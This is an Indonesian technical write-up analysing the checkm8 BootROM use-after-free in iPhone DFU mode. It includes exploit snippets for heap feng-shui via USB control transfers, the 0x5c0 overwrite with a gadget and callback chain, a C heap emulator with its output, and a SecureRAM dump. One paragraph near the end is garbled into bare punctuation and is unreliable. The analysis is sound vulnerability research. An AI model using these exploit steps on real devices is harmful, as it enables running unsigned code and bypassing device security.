Dengan probabilitas tinggi Anda telah mendengar tentang exploit checkm8 sensasional, yang menggunakan kerentanan yang tidak dapat dipulihkan di BootROM sebagian besar iDevices, termasuk iPhone X Pada artikel ini, kami akan memberikan analisis teknis tentang eksploitasi dan melihat penyebab kerentanan. Siapa pun yang tertarik - selamat datang di bawah luka!
Anda dapat membaca artikel versi bahasa Inggris di sini .
Pendahuluan
Pertama, kami akan menjelaskan secara singkat proses boot iDevice dan mencari tahu di mana BootROM berada di dalamnya (bisa juga disebut SecureROM ) dan mengapa diperlukan. Informasi terperinci tentang ini ada di sini . Proses boot yang disederhanakan dapat direpresentasikan sebagai berikut:

BootROM adalah hal pertama yang dijalankan prosesor saat perangkat dihidupkan. Tugas utama BootROM :
- Inisialisasi platform (mengatur register platform yang diperlukan, menginisialisasi CPU, dll.)
- Verifikasi dan transfer kontrol ke tahap pemuatan berikutnya
 - BootROMmendukung parsing gambar- IMG3/IMG4
- BootROMmemiliki akses ke kunci- GIDuntuk mendekripsi gambar
- Untuk memeriksa gambar, kunci publik Appledibuat di dalamBootROM, dan ada fungsi yang diperlukan untuk bekerja dengan kriptografi
 
- Memulihkan perangkat jika tidak memungkinkan untuk mengunduh lebih lanjut ( Device Firmware Update,DFU)
BootROM sangat kecil, dan itu dapat disebut versi iBoot , karena mereka berbagi sebagian besar sistem dan kode pustaka. Namun, tidak seperti iBoot , BootROM tidak dapat diperbarui. Ini ditempatkan di memori hanya baca internal saat membuat perangkat. BootROM adalah akar perangkat keras dari rantai kepercayaan boot. Kerentanan di dalamnya dapat memungkinkan mendapatkan kontrol atas proses pengunduhan lebih lanjut dan mengeksekusi kode yang tidak ditandatangani pada perangkat.

Munculnya checkm8
checkm8 ditambahkan ke utilitas ipwndfu oleh penulisnya axi0mX pada 27 September 2019. Kemudian ia mengumumkan pembaruan di akun Twitter-nya, disertai dengan deskripsi eksploit dan informasi tambahan. Anda dapat mengetahui dari utas bahwa kerentanan use-after-free dalam kode USB ditemukan oleh penulis selama proses patch-diffing iBoot untuk iOS 12 beta pada musim panas 2018. Seperti disebutkan sebelumnya, BootROM dan iBoot memiliki banyak kode umum, termasuk kode untuk USB , itulah sebabnya kerentanan ini juga relevan untuk BootROM .
Ini juga mengikuti dari kode exploit yang kerentanannya dieksploitasi di DFU . Ini adalah mode di mana gambar yang ditandatangani dapat ditransfer ke perangkat melalui USB , yang selanjutnya akan diunduh. Ini mungkin diperlukan, misalnya, untuk memulihkan perangkat jika pembaruan tidak berhasil.
Pada hari yang sama, littlelailo melaporkan bahwa ia telah menemukan kerentanan ini pada bulan Maret dan menerbitkan deskripsinya dalam file apollo.txt . Deskripsi tersebut sesuai dengan apa yang terjadi pada kode checkm8 , tetapi tidak sepenuhnya menjelaskan detail dari exploit. Oleh karena itu, kami memutuskan untuk menulis artikel ini dan menjelaskan semua detail operasi hingga pelaksanaan payload di BootROM inklusif.
Kami melakukan analisis eksploitasi berdasarkan materi yang disebutkan sebelumnya, serta pada kode sumber iBoot/SecureROM bocor pada Februari 2018. Kami juga menggunakan data yang diperoleh secara eksperimental pada perangkat pengujian kami - iPhone 7 ( CPID:8010 ). Menggunakan checkm8 kami menghapus dump SecureRAM dan SecureRAM dari itu, yang membantu kami dengan analisis.
Pengetahuan USB esensial
Kerentanan yang terdeteksi ada dalam kode USB , sehingga diperlukan pengetahuan tentang antarmuka ini. Anda dapat membaca spesifikasi lengkapnya di sini , tetapi cukup produktif. Bahan yang sangat baik, yang lebih dari cukup untuk pemahaman lebih lanjut, adalah USB dalam NutShell . Di sini kami hanya memberikan yang paling diperlukan.
Ada berbagai jenis transfer data USB . DFU hanya menggunakan DFU Control Transfers (Anda dapat membacanya di sini ). Setiap transaksi dalam mode ini terdiri dari tiga tahap:
- Setup Stage- pada tahap ini paket- SETUPdikirim, yang terdiri dari bidang-bidang berikut:
 - bmRequestType- menjelaskan arah, jenis, dan penerima permintaan
- bRequest- menentukan permintaan yang diajukan
- wValue,- wIndex- tergantung pada permintaan, mereka dapat diartikan berbeda
- wLengthPanjang - panjang data yang diterima / dikirim dalam- Data Stage
 
- Data Stage- tahap opsional saat transfer data berlangsung. Bergantung pada paket- SETUPdari tahap sebelumnya, ini mungkin mengirim data dari host ke perangkat (- OUT) atau sebaliknya (- IN). Data dikirim dalam porsi kecil (untuk- Apple DFU, 0x40 byte).
 - Ketika tuan rumah ingin mentransfer kumpulan data berikutnya, ia mengirimkan token, setelah itu data itu sendiri dikirim.
- Ketika tuan rumah siap untuk menerima data dari perangkat, ia mengirimkan token, sebagai tanggapan terhadap mana perangkat mengirim data.
 
- Status Stage- tahap akhir di mana status seluruh transaksi dilaporkan.
 - Untuk permintaan OUT, tuan rumah mengirim tokenIN, sebagai tanggapan terhadap mana perangkat harus mengirim paket data dengan panjang nol.
- Untuk permintaan IN, host mengirim tokenOUTdan paket data nol panjang.
 
Kueri OUT dan IN ditunjukkan pada diagram di bawah ini. Kami sengaja menghapus ACK , NACK dan paket jabat tangan lainnya dari skema deskripsi dan interaksi, karena mereka tidak memainkan peran khusus dalam eksploitasi itu sendiri.

Analisis apollo.txt
Kami memulai analisis dengan memilah kerentanan dari dokumen apollo.txt . Ini menjelaskan algoritma mode DFU :
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- Ketika usb mulai mendapatkan gambar lebih dari dfu, dfu mendaftarkan antarmuka untuk menangani semua perintah dan mengalokasikan buffer untuk input dan output
- jika Anda mengirim data ke dfu paket setup ditangani oleh kode utama yang kemudian memanggil kode antarmuka
- kode antarmuka memverifikasi bahwa wLength lebih pendek dari panjang buffer output input dan jika itu terjadi, pembaruan pointer dilewatkan sebagai argumen dengan pointer ke buffer output input
- lalu mengembalikan wLength yang merupakan panjang yang ingin diterima ke buffer
- kode utama usb kemudian memperbarui var global dengan panjang dan bersiap-siap untuk menerima paket data
- jika paket data diterima itu akan ditulis ke buffer output input melalui pointer yang disahkan sebagai argumen dan variabel global lainnya digunakan untuk melacak berapa banyak byte yang telah diterima
- jika semua data diterima, kode khusus dfu dipanggil lagi dan kemudian melanjutkan untuk menyalin isi buffer output input ke lokasi memori dari mana gambar tersebut kemudian di-boot
- setelah itu kode usb me-reset semua variabel dan melanjutkan untuk menangani paket-paket baru
- jika dfu keluar dari buffer output input dibebaskan dan jika parsing gambar gagal bootrom masukkan kembali dfu
Pertama, kami membandingkan langkah-langkah yang dijelaskan dengan kode sumber iBoot . Karena kita tidak dapat menggunakan fragmen kode sumber yang bocor dalam artikel, kami akan menunjukkan pseudocode yang diperoleh oleh SecureROM reverse engineering dari iPhone 7 di IDA . Anda dapat dengan mudah menemukan kode sumber iBoot dan menavigasi itu.
Ketika mode DFU diinisialisasi, buffer IO dialokasikan dan antarmuka USB terdaftar untuk memproses permintaan ke DFU :

Ketika paket permintaan SETUP tiba di DFU , penangan antarmuka yang sesuai dipanggil. Dalam hal eksekusi yang berhasil dari permintaan OUT (misalnya, ketika mentransfer gambar), pawang harus mengembalikan alamat buffer IO untuk transaksi dan ukuran data yang diharapkan akan diterima oleh pointer. Dalam hal ini, alamat penyangga dan ukuran data yang diharapkan disimpan dalam variabel global.

Handler antarmuka untuk DFU ditunjukkan pada gambar di bawah. Jika permintaan benar, maka alamat buffer IO dialokasikan pada tahap inisialisasi DFU dan panjang data yang diharapkan, yang diambil dari paket SETUP , dikembalikan oleh penunjuk.

Selama Data Stage setiap bagian data ditulis ke buffer IO , setelah itu alamat buffer IO digeser dan penghitung data yang diterima diperbarui. Setelah menerima semua data yang diharapkan, penangan data antarmuka dipanggil dan keadaan transmisi global dihapus.

Di penangan data DFU data yang diterima dipindahkan ke area memori tempat pengunduhan akan dilanjutkan. Dilihat oleh kode sumber iBoot , area memori ini di Apple disebut INSECURE_MEMORY .

Saat keluar DFU mode DFU , buffer IO dialokasikan sebelumnya akan dibebaskan. Jika gambar berhasil diterima dalam mode DFU , itu akan diperiksa dan dimuat. Jika, selama pengoperasian mode DFU , beberapa kesalahan terjadi atau tidak mungkin memuat gambar yang dihasilkan, DFU akan DFU ulang dan semuanya akan mulai dari awal lagi.
Dalam algoritma yang dijelaskan, terletak kerentanan use-after-free . Jika saat boot, kirim paket SETUP dan selesaikan transaksi dengan melewatkan Data Stage , keadaan global akan tetap diinisialisasi setelah memasukkan kembali siklus DFU , dan kami akan dapat menulis ke alamat buffer IO dialokasikan dalam iterasi DFU sebelumnya.
Setelah berurusan dengan kerentanan use-after-free , kami bertanya-tanya: bagaimana saya bisa menimpa sesuatu selama iterasi DFU berikutnya? Lagi pula, sebelum menginisialisasi ulang DFU semua sumber daya yang dialokasikan sebelumnya dibebaskan, dan lokasi memori dalam iterasi baru harus persis sama. Ternyata ada kesalahan kebocoran memori yang menarik dan cukup indah yang memungkinkan mengeksploitasi kerentanan use-after-free , yang akan kita bahas nanti.
Analisis Checkm8
Kami melanjutkan langsung ke analisis exploit checkm8 . Untuk mempermudah, kami akan menganalisis versi eksploit yang dimodifikasi untuk iPhone 7 , di mana kode yang terkait dengan platform lain telah dihapus, urutan dan jenis permintaan USB telah diubah tanpa kehilangan eksploit. Juga dalam versi ini proses membangun payload dihapus, dapat ditemukan dalam file checkm8.py asli. Memahami perbedaan antara versi untuk perangkat lain seharusnya tidak sulit.
 
Pekerjaan checkm8 dapat dibagi menjadi beberapa tahap:
- Persiapan heap feng-shui(heap feng-shui)
- Alokasi dan pelepasan buffer IOtanpa membersihkan negara global
- Timpa usb_device_io_requestdi heap denganuse-after-free
- Penempatan Muatan
- Eksekusi callback-chain
- Eksekusi shellcode
Pertimbangkan masing-masing tahapan secara terperinci.
1. Persiapan tumpukan (heap feng-shui)
Tampaknya bagi kami bahwa ini adalah tahap yang paling menarik, dan kami memberikan perhatian khusus padanya.
 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 
Langkah ini diperlukan untuk mencapai kondisi tumpukan yang nyaman untuk operasi use-after-free . Untuk memulai, pertimbangkan stall panggilan, leak , no_leak :
 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 
libusb1_no_error_ctrl_transfer adalah pembungkus device.ctrlTransfer dengan mengabaikan pengecualian yang terjadi saat menjalankan permintaan. libusb1_async_ctrl_transfer - pembungkus atas fungsi libusb_submit_transfer dari libusb untuk eksekusi query yang tidak sinkron.
Kedua panggilan menerima parameter berikut:
- Contoh perangkat
- Data untuk paket SETUP(uraiannya ada di sini ):
 - bmRequestType
- bRequest
- wValue
- wIndex
 
- Ukuran Data ( wLength) atau Data untukData Stage
- Permintaan Batas Waktu
Argumen bmRequestType , bRequest , wValue dan wIndex adalah umum untuk ketiga jenis kueri. Artinya:
- bmRequestType = 0x80
 - 0b1XXXXXXX- arah- Data Stagedari perangkat ke host (Device to Host)
- 0bX00XXXXX- tipe permintaan standar
- 0bXXX00000- penerima permintaan - perangkat
 
- bRequest = 6- permintaan deskriptor (- GET_DESCRIPTOR)
- wValue = 0x304
 - wValueHigh = 0x3- menentukan tipe deskriptor yang akan diterima - string (- USB_DT_STRING)
- wValueLow = 0x4adalah indeks deskriptor string, 4 sesuai dengan nomor seri perangkat (dalam hal ini, string terlihat seperti- CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33])
 
- wIndex = 0x40A- pengidentifikasi bahasa string, nilainya tidak penting untuk operasi dan dapat diubah.
Untuk salah satu dari tiga permintaan ini, 0x30 byte dialokasikan pada heap untuk objek dari struktur berikut:

Bidang yang paling menarik dari objek ini adalah callback dan next .
- callback- pointer ke fungsi yang akan dipanggil ketika permintaan selesai.
- next- pointer ke objek berikutnya dengan tipe yang sama, diperlukan untuk mengantri permintaan.
Fitur utama dari stall panggilan adalah menggunakan eksekusi permintaan yang tidak sinkron dengan batas waktu minimum. Karena ini, jika Anda beruntung, permintaan akan dibatalkan di tingkat OS dan akan tetap dalam antrian eksekusi, dan transaksi tidak akan selesai. Pada saat yang sama, perangkat akan terus menerima semua paket SETUP masuk dan, jika perlu, menempatkannya dalam antrian eksekusi. Kemudian, dengan menggunakan eksperimen dengan USB di Arduino kami dapat mengetahui bahwa agar operasi berhasil, tuan rumah harus mengirim paket SETUP dan token IN , setelah itu transaksi harus dibatalkan dengan batas waktu. Secara skematis, transaksi yang tidak lengkap tersebut dapat direpresentasikan sebagai berikut:
Sisa permintaan hanya berbeda panjang dan hanya satu. Faktanya adalah bahwa untuk permintaan standar ada callback standar yang terlihat seperti ini:

Nilai io_length sama dengan minimum wLength dalam paket SETUP dari permintaan dan panjang asli dari deskriptor yang diminta. Karena fakta bahwa deskriptor cukup panjang, kita dapat dengan tepat mengontrol nilai io_length dalam panjangnya. Nilai g_setup_request.wLength sama dengan nilai wLength paket SETUP terakhir, dalam hal ini, 0xC1 .
Dengan demikian, pada penyelesaian kueri yang dihasilkan menggunakan stall dan leak panggilan, kondisi dalam fungsi callback akhir terpenuhi, dan usb_core_send_zlp() dipanggil. Panggilan ini hanya membuat zero-length-packet dan menambahkannya ke antrian eksekusi. Ini diperlukan agar transaksi dapat diselesaikan dengan benar di Status Stage .
Permintaan diakhiri dengan panggilan ke fungsi usb_core_complete_endpoint_io , yang pertama kali memanggil panggilan callback dan kemudian membebaskan memori permintaan. Pada saat yang sama, penyelesaian permintaan dapat terjadi tidak hanya ketika seluruh transaksi benar-benar selesai, tetapi juga ketika USB diatur ulang. Segera setelah sinyal reset USB diterima, antrian permintaan akan dilewati dan masing-masing akan selesai.
Karena panggilan selektif ke usb_core_send_zlp() , melewati antrian permintaan dan kemudian melepaskannya, Anda dapat mencapai kontrol tumpukan yang cukup untuk operasi use-after-free . Pertama, mari kita lihat siklus rilis itu sendiri:

Antrian permintaan dihapus terlebih dahulu, kemudian permintaan yang dibatalkan usb_core_complete_endpoint_io , dan mereka selesai dengan memanggil usb_core_complete_endpoint_io . Pada saat yang sama, permintaan yang dipilih menggunakan usb_core_send_zlp ditempatkan di ep->io_head . Setelah prosedur reset USB selesai, semua informasi tentang titik akhir akan diatur ulang, termasuk io_head dan io_tail , dan permintaan panjang nol akan tetap ada di heap. Jadi, Anda bisa membuat bongkahan kecil di tengah sisa tumpukan. Diagram di bawah ini menunjukkan bagaimana ini terjadi:

Tumpukan di SecureROM dirancang sedemikian rupa sehingga area memori baru dialokasikan dari potongan bebas yang sesuai dengan ukuran terkecil. Dengan membuat potongan bebas kecil dengan metode yang dijelaskan di atas, Anda dapat memengaruhi alokasi memori selama inisialisasi USB dan alokasi io_buffer dan permintaan.
Untuk pemahaman yang lebih baik, mari kita mencari tahu tumpukan yang terjadi selama inisialisasi DFU . Dalam proses menganalisis kode sumber iBoot dan rekayasa balik iBoot SecureROM kami berhasil mendapatkan urutan berikut:
- Alokasi berbagai deskriptor string
 - 1.1. Nonce(ukuran234)
- 1.2. Manufacturer(22)
- 1.3. Product(62)
- 1.4. Serial Number(198)
- 1.5. Configuration string(62)
 
 
 
- Alokasi terkait dengan pembuatan tugas USB
 - 2.1. Struktur 0x3c0(0x3c0)
- 2.2. Stack Task ( 0x1000)
 
 
 
- io_buffer(- 0x800)
 
 
- Deskriptor konfigurasi
 - 4.1. High-Speed(25)
- 4.2. Full-Speed(25)
 
 
 
Lalu ada alokasi struktur permintaan. Jika ada bongkahan kecil di tengah ruang heap, beberapa alokasi dari kategori pertama akan masuk ke bongkahan ini, dan semua alokasi lainnya akan dipindahkan, yang dengannya kita dapat melimpahkan usb_device_io_request , merujuk pada buffer lama. Secara skematis, ini dapat direpresentasikan sebagai berikut:

Untuk menghitung bias yang diperlukan, kami memutuskan untuk hanya meniru alokasi yang tercantum di atas, sedikit mengadaptasi kode sumber tumpukan iBoot .
Emulasi tumpukan DFU #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 
 Output program dengan 8 permintaan pada tahap heap feng-shui :
 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 
usb_device_io_request berikutnya akan berada pada offset 0x5c0 dari awal buffer sebelumnya, yang sesuai dengan kode exploit:
 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 
, SecureRAM , checkm8 . , . , usb_device_io_request , .
 
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF 